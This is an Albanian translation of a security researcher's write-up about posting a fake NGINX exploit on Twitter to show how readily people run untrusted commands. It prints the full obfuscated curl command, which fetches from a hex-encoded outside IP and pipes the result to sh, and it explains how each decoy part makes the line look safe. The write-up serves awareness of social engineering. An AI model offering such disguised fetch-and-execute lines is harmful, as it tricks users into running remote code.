Shën. përk.: e vëzhguar një eksperiment në mesin e atyre të interesuar për sigurinë informatike. Për këtë, ai përgatiti një shfrytëzim të rremë për një vulnerabilitet të pa zbuluar në një server web dhe e publikoi atë në Twitter-in e tij. Supozimet e tij — që do të zbuloheshin menjëherë nga specialistët që do të shihnin mashtrimin e dukshëm në kod — jo vetëm që nuk u realizuan... Ata tejkaluan të gjitha pritshmëritë, dhe përkundrazi: tweet-i mori mbështetje të madhe nga shumë njerëz që nuk u shqetësuan të kontrollonin përmbajtjen e tij.

TL;DR: në asnjë mënyrë mos përdorni konvertimin e skedave në sh ose bash. Ky është një mënyrë e shkëlqyer për të humbur kontrollin mbi kompjuterin.
Dua të ndaj me ju një histori të vogël rreth një shfrytëzimi të PoC që u krijua më 31 maj. Ai u shfaq shpejt në përgjigje të lajmit nga , anëtare e (ZDI), për informacionin e një dobësie në NGINX që çon në RCE (ekzekutimi në distancë të kodit). Duke qenë se NGINX është në thelb të shumë faqeve të internetit, kjo lajm pritej të kishte një efekt të madh. Por për shkak të vonesave në procesin e "zhvillimit të përgjegjshëm" të informacionit, detajet nuk u bënë të njohura - kjo është procedura standarde e ZDI.

për zbardhjen e dobësisë në NGINX
Pas përfundimit të punës mbi një teknikë të re obfuscation në curl, citoj tweet-in origjinal dhe "urboj një PoC funksional", që përbëhet nga një rresht kodi, duke pretenduar se përdor dobësinë e zbuluar. Sigurisht, kjo ishte një idiotësi e plotë. Mendova se do të më zbulonin menjëherë dhe se në rastin më të mirë do të merrja disa retweet (në rregull).

me një exploit të rremë
Megjithatë, nuk mund të imagjinoja atë që ndodhi më pas. Popullariteti i tweet-it tim u rrit në qiell. E çuditshme, por deri më tani (15:00 MSC, 1 qershor) akoma shumë pak njerëz e kuptonin se ishte një falsifikim. Shumë e ritweetojnë atë pa e kontrolluar fare (pa përmendur të shijojnë grafikën e bukur ASCII që shfaqet).

Vetëm shikoni se sa bukuri!
Pavarësisht që këto cikle dhe ngjyra janë të mrekullueshme, është e qartë: për t'i parë ato, njerëzit kanë ekzekutuar kodin në makinën e tyre. Fatmirësisht, shfletuesit funksionojnë njësoj, dhe duke pasur parasysh se problemet ligjore nuk më duhen fare, kodi i fshehur në faqen time thjesht bënte thirrje echo, pa provuar të instalonte ose ekzekutonte ndonjë kod shtesë.
Një shenjë e vogël: , , unë dhe djemtë e tjerë nga ekipi kemi luajtur me disa mënyra të ndryshme për të obfuscation komandat curl, sepse kjo është argëtuese… dhe ne jemi giki. netspooky dhe dnz zbuluan disa mënyra të reja, të cilat më dukeshin jashtëzakonisht premtuese. Unë iu bashkova argëtimit dhe provova të shtoja përkthime të IP-së në grupin e trukeve. Doli se IP gjithashtu mund të konvertohej në formatin hexadecimal. Për më tepër, curl dhe shumica e mjeteve të tjera NIX e hanë me kënaqësi IP-të hexadecimal! Kështu që, thjesht duhej të krijoja një komandë të besueshme dhe që dukej e sigurt. Në fund të fundit, u ndala në këtë:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhostInxhinieria socio-elektronike (S.E.E.) — më shumë se thjesht phishing
Siguria dhe njohuria kanë qenë një pjesë thelbësore e këtij eksperimenti. Mendoj se pikërisht ato e çuan në sukses. Komanda e linjës qartë nënkuptonte siguri, duke iu referuar «127.0.0.1» (localhosti i njohur). Lokali konsiderohet i sigurt dhe të dhënat aty kurrë nuk e lënë kompjuterin tuaj.
Njohuria ishte komponenti i dytë kyç i S.E.E. në eksperiment. Duke qenë se audienca e synuar përbëhej kryesisht nga njerëz të njohur me bazat e sigurisë kompjuterike, ishte e rëndësishme të krijohej një kod i tillë, që pjesët e tij të dukeshin të njohura dhe të zakonshme (prandaj të sigurta). Huazimi i elementeve nga konceptet e vjetra të shfrytëzimit dhe kombinimi i tyre në një mënyrë të pazakontë u tregua shumë i suksesshëm.
Më poshtë është një analizë e detajuar e një linje të vetme. Të gjitha në këtë listë janë me karakter kozmetik, dhe për funksionimin e tij real nuk kërkohet asgjë praktike.
Cilat janë komponentët që janë vërtet të nevojshëm? Këto janë -gsS, -O 0x0238f06a, |sh dhe vetë serveri web. Serveri web nuk kishte asnjë instruktion keqdashës, por thjesht transmetonte grafikën ASCII përmes komandave echo në skedarin që ndodhet në index.html. Kur përdoruesi fusnin një varg me |sh në mes, index.html ngarkohej dhe ekzekutohej. Për fat të mirë, ruajtësit e serverit web nuk kishin qëllime të këqija.
-
../../../%00— tregon një dalje jashtë drejtorisë; -
ngx_stream_module.so— rruga për një modul të rastësishëm NGINX; -
/bin/sh%00<'protocol:TCP'— supozohet se ne e fillojmë/bin/shnë makinën e synuar dhe drejtojmë daljen në një kanal TCP; -
-O 0x0238f06a#PLToffset— përbërësi sekret, i plotësuar#PLToffset, për të dukur si një offset memorjeje, ndonjë mënyrë që ndodhet në PLT; -
|sh;— një fragment tjetër të rëndësishëm. Na duhej të drejtonim daljen në sh/bash, për të ekzekutuar kodin që vinte nga serveri web sulmues, i vendosur në adresën0x0238f06a(2.56.240.x); -
nc /dev/tcp/localhost— një vend mbushës, ku netcat referohet në/dev/tcp/localhost, për të siguruar që gjithçka të duket e sigurt përsëri. Në të vërtetë, nuk bën asgjë dhe është përfshirë në varg për estetikë.
Këtu përfundon dekodimi i skenarit një-rresht dhe diskutimi mbi aspektet e "ingenierisë socio-elektronike" (përfshatje e sofistikuar).
Konfigurimi i serverit web dhe masat e kundërshtimit
Duke shumica dërrmuese e ndjekësve të mi janë ekspertë të sigurisë informatike/hakerë, vendosa të bëj serverin e uebit disi më rezistent ndaj manifestimeve të ‘interesit’ nga ana e tyre thjesht që të kenë diçka për të bërë (dhe ishte më argëtuese ta konfiguroja). Nuk kam për qëllim të listoj të gjitha grackat, pasi eksperimenti ende vazhdon, por ja disa gjëra që bën serveri:
- Aktivisht ndjek përpjekjet për shpërndarje në rrjete të caktuara sociale dhe vendos miniaturat e ndryshme të parazgjedhura për të inkurajuar përdoruesin të klikojë në lidhje.
- Rrëfen Chrome/Mozilla/Safari/etj. në një video promocionale Thugcrowd në vend që të tregojë skenarin shell.
- Ndiqni SHENJA TË QARTA të sulmit/thyerjes brutale, dhe më pas fillon të drejtojë kërkesat në serverat e NSA (ha!).
- Instalon trojan, si dhe një rootkit BIOS në të gjitha kompjuterët, përdoruesit e të cilëve vizitojnë hostin nga një shfletues i zakonshëm (shaka!).

Një pjesë e vogël anti-mire
Në këtë rast, qëllimi im i vetëm ishte të mësoja disa mundësi të Apache - veçanërisht, rregulla të mrekullueshme për ridrejtim të kërkesave - dhe mendova: pse jo?
Eksploit NGINX (i vërtetë!)
Abonohuni në në Twitter dhe ndiqni punën e shkëlqyer të ZDI për eleminimin e dobësive dhe mundësive për eksploit në NGINX. Puna e tyre gjithmonë më ka fascinuar dhe jam mirënjohës ndaj Alisës për durimin lidhur me të gjitha përmendjet dhe njoftimet që erdhën nga tweet-i im të marrë. Me fat, ai solli disa përfitime: ndihmoi në rritjen e ndërgjegjësimit për dobësitë e NGINX, si dhe për problemet që shkaktohen nga abuzimi me curl-in.
Burimi: habr.com
